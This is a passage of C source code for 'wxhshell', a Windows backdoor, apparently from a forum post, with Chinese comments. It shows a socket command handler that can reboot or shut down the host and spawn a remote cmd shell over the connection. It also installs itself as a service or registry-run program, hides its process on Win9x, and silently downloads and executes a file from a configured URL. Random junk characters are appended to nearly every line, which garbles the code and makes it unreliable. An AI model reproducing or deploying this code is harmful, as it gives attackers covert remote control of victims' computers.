    switch(cmd[0]) { !8RJHMX&  
  |UcF%VNnz1  
  // 帮助 0-d&R@lX.  
  case '?': { c5[ ~2e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;BHIss7  
    break; CKU)wJ5t  
  } zT hut!O  
  // 安装 D{4]c)>  
  case 'i': { q1|@v#kH6  
    if(Install()) *r6v9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); clIn}wQ  
    else 4k6:   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }F3}"Ik'L  
    break; KF`mOSP  
    } QxBH{TG  
  // 卸载 #vPk XcP  
  case 'r': { q+lCA#Sx  
    if(Uninstall()) l@@ qpaH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O@LUM{\  
    else gLbTZM4i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?.nD!S@  
    break; 3BB/u%N}  
    } 2d&HSW  
  // 显示 wxhshell 所在路径 "m}N hoD4  
  case 'p': { ]v$2JgF]@  
    char svExeFile[MAX_PATH]; Uz `OAb  
    strcpy(svExeFile,"\n\r"); |j$$0N  
      strcat(svExeFile,ExeFile); W:2j.K9!  
        send(wsh,svExeFile,strlen(svExeFile),0); !Jaj2mS.N  
    break; .WGrzhsV  
    } t0 T#Xb  
  // 重启 m2F+ 6G  
  case 'b': { AxCFZf5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Js9 EsN%  
    if(Boot(REBOOT)) M7(]NQ\TQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z,SNJIsx  
    else { m;u:_4  
    closesocket(wsh); Ja%isIdh  
    ExitThread(0); XBTjb  
    } (abtCuZ8z  
    break; ZVCa0Km  
    } kyD*b3MN  
  // 关机 ,Aq |IH3j  
  case 'd': { LlbE]_Z!U%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l_T5KV  
    if(Boot(SHUTDOWN)) vVbS 4_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -.UUa  
    else { %D+NrL(  
    closesocket(wsh); PkF'#W%  
    ExitThread(0); <T$rvS  
    } f5#VU7=1F2  
    break; ER<Z!*2  
    } #:[CF:  
  // 获取shell =o4McV}  
  case 's': { VCUsvhI  
    CmdShell(wsh); ezr'"1Ba}  
    closesocket(wsh); 6 $+b2&V  
    ExitThread(0); ~*RBMHs  
    break; G2FD'Sf  
  } = /=?l  
  // 退出 w?M` gl8r  
  case 'x': { o 0H.DeP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g|x* sZR~Y  
    CloseIt(wsh); N-Sjd%Z  
    break; PkDh[i9Z|  
    } ]"U/3dL5  
  // 离开 [vcSt5R=  
  case 'q': { ?4lEHef  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m%i!;K"{s  
    closesocket(wsh); ZrDr/Q~  
    WSACleanup(); w;V+)r?w  
    exit(1); 7^Y`'~Y^  
    break; ZG_iF#  
        } 4 _Idf  
  } >2LlBLQ  
  } 3 >G"&T{  
VJ|8 0?4h  
  // 提示信息 QZ_8r#2x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h2ou ]  
} p/Lk'h~  
  } $R/@%U)-o  
4d $T6b  
  return; }wV/)Oy[  
} E3h-?ugO'  
hE}y/A[  
// shell模块句柄 5s1XO*s)>X  
int CmdShell(SOCKET sock) C 4hvk'=  
{ Hp-vBoEk  
STARTUPINFO si; f5hf<R),A  
ZeroMemory(&si,sizeof(si)); zirnur1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {$)pkhJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r[RO"Ej"  
PROCESS_INFORMATION ProcessInfo; MHAWnH8  
char cmdline[]="cmd"; iLJBiZ+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ R;o $n  
  return 0; RV, cQ K  
} ,L^ag&!4  
9l:vVp7Uk  
// 自身启动模式 9c=`Q5  
int StartFromService(void) gYvT'72  
{ 'V(9ein^Q  
typedef struct #%SF2PB;  
{ EY'48S  
  DWORD ExitStatus; VyxX5Lrj  
  DWORD PebBaseAddress; vU,;asgy  
  DWORD AffinityMask; c"^g*i2&0  
  DWORD BasePriority; Rln@9muXA  
  ULONG UniqueProcessId; #=aTSw X  
  ULONG InheritedFromUniqueProcessId; u_X(c'aE;  
}   PROCESS_BASIC_INFORMATION; _f<#+*y  
rJ fO/WK  
PROCNTQSIP NtQueryInformationProcess; K8|>"c~  
wxo{gBq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vB1nj<]&z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E sx`UG|  
1|xo4fmV  
  HANDLE             hProcess; be:=-B7!  
  PROCESS_BASIC_INFORMATION pbi; =1Tn~)^O  
SoL"M[O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X16r$~Pb  
  if(NULL == hInst ) return 0; Ls(l  
]5j1p6;(`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ai.^~#%X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [,|;rt\o>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "y$s`n4Mj  
cK~VNzsz  
  if (!NtQueryInformationProcess) return 0; E j/P:nB  
lehuJgz'OO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IltU6=]"l  
  if(!hProcess) return 0; ;0]s:0WD0P  
<%EjrjdvL+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |A19IXZ\  
!:9s>0';N  
  CloseHandle(hProcess); `Fs-z  
DYaOlT(rE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -JfO} DRI  
if(hProcess==NULL) return 0; -%6Y&_5VK  
6SN$El 0|G  
HMODULE hMod; XCQPVSh  
char procName[255];  o C#W  
unsigned long cbNeeded; vC ISd   
>`u/#mrd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2RC@Fu~zaU  
Kzf^ras4u  
  CloseHandle(hProcess); G=qT{c 8Q  
rwvCp_pN.  
if(strstr(procName,"services")) return 1; // 以服务启动 HC/?o0  
TC^fyxq  
  return 0; // 注册表启动 |^$?9Dn9.L  
} R?H[{A X  
cy!;;bB  
// 主模块 o `}(1$a>  
int StartWxhshell(LPSTR lpCmdLine) V { yk  
{ O>kM2xw  
  SOCKET wsl; 1OW#_4w/  
BOOL val=TRUE; 8u4FagQ,  
  int port=0; b 3i34,  
  struct sockaddr_in door; Q9NKQuSu  
I18<brZJ  
  if(wscfg.ws_autoins) Install(); U# 7K^(E9  
;}E$>]*Yn  
port=atoi(lpCmdLine); L|A.;Gq  
31=v US  
if(port<=0) port=wscfg.ws_port; !+Us)'L  
Y[Kpd[)[v  
  WSADATA data; [3fmhc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5;Q9Z1 `  
T@x_}a:g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1@{qPmf^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )ME'qA3K  
  door.sin_family = AF_INET; w-?|6I}T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (YKkJ  
  door.sin_port = htons(port); Cso-WG,  
qjI.Sr70  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7o4B1YD  
closesocket(wsl); FCA]zR1  
return 1; RI#o9d"x}  
} CwQRHi  
:to1%6  
  if(listen(wsl,2) == INVALID_SOCKET) { 0;avWa)Q  
closesocket(wsl); 2V)qnMxAZJ  
return 1; `=JGlN7  
} $KMxq=  
  Wxhshell(wsl); ? fmW'vs  
  WSACleanup(); .U9A \$  
p{S#>JTr  
return 0; YMD&U   
X>kW)c4{b  
} 4VrL@c @  
X w_6SR9C  
// 以NT服务方式启动 _ !H8j/b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ".:]? Lvt  
{ FvaelB  
DWORD   status = 0; T }^2IJ]  
  DWORD   specificError = 0xfffffff; (Q~ (t  
6V^KOG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fooa~C"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KmE<+/x~?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WuUT>om H  
  serviceStatus.dwWin32ExitCode     = 0; C3GI?| b  
  serviceStatus.dwServiceSpecificExitCode = 0; #xTu {  
  serviceStatus.dwCheckPoint       = 0; %^ g(2^  
  serviceStatus.dwWaitHint       = 0; ruK, Z,3Q  
\bzT=^Z;2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #,PB(  
  if (hServiceStatusHandle==0) return; RuuXDuu:VL  
z1`z k0  
status = GetLastError(); B#Z-kFn@  
  if (status!=NO_ERROR) XbMAcgS  
{ y&{ Z"+B5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9d1 G u"  
    serviceStatus.dwCheckPoint       = 0; tFKR~?Gc  
    serviceStatus.dwWaitHint       = 0; bf&k:.v'8  
    serviceStatus.dwWin32ExitCode     = status; ug.'OR  
    serviceStatus.dwServiceSpecificExitCode = specificError; U7@)RJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tF=Y3W+L  
    return; k>mqKzT0$+  
  } c3G&)gU4q  
&nX,)"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~sUWXw7~  
  serviceStatus.dwCheckPoint       = 0; 9HJA:k*k|  
  serviceStatus.dwWaitHint       = 0; #RWHk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kFsq23Ne  
} xzjG|"a[GB  
P|{Et=R`1  
// 处理NT服务事件,比如:启动、停止 *zn=l+c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]53'\TH  
{ I7/X6^/}  
switch(fdwControl) \QKr2|  
{ # 5C)k5  
case SERVICE_CONTROL_STOP: Qpaan  
  serviceStatus.dwWin32ExitCode = 0; b1NB:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5xF R7%_&  
  serviceStatus.dwCheckPoint   = 0; ;V"(! 'd  
  serviceStatus.dwWaitHint     = 0; <<:a >)6\  
  { Yt% E,U~g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >i IUS  
  } b/g"ws_  
  return;  T24?1  
case SERVICE_CONTROL_PAUSE: }4M4D/=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vn1hr;i]  
  break; NDaM;`  
case SERVICE_CONTROL_CONTINUE: 6 SosVE>Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t4E=  
  break; Ap [}[:U  
case SERVICE_CONTROL_INTERROGATE: M$Of.  
  break; ' y9yx[P  
}; OK"B`*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r=3knCEWK  
} 4;hgi[  
:x<'>)6  
// 标准应用程序主函数 \dIQhF%%2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qy+&N*k>  
{ 6Wabw:  
m+m,0Ey5H  
// 获取操作系统版本 }7H8Y}m  
OsIsNt=GetOsVer(); &]?X"K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =1}Umn|ZLS  
l[EjtN  
  // 从命令行安装 ?]# U~M<'  
  if(strpbrk(lpCmdLine,"iI")) Install(); i@C$O.m(  
79svlq=  
  // 下载执行文件 WhR j@y  
if(wscfg.ws_downexe) { 1L=6Z2*fB4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9(/ ;Wutj"  
  WinExec(wscfg.ws_filenam,SW_HIDE); AShnCL8uR  
} ]E+deM  
2AAZZx +$  
if(!OsIsNt) { <+QXGz1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZE*m;  
HideProc(); ! Bv"S0  
StartWxhshell(lpCmdLine); =k1 ,jn+  
} y2U^7VrO  
else <?UIux  
  if(StartFromService()) 0DBA 'Cv  
  // 以服务方式启动 >*PZ&"}M  
  StartServiceCtrlDispatcher(DispatchTable); HCI|6{k  
else KKd S h1  
  // 普通方式启动 Qv%"iSe~J  
  StartWxhshell(lpCmdLine); aF9p%HPDw  
]mN'Qoc  
return 0; PSO9{!  
}
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只看该作者 1 发表于: 2006-10-10
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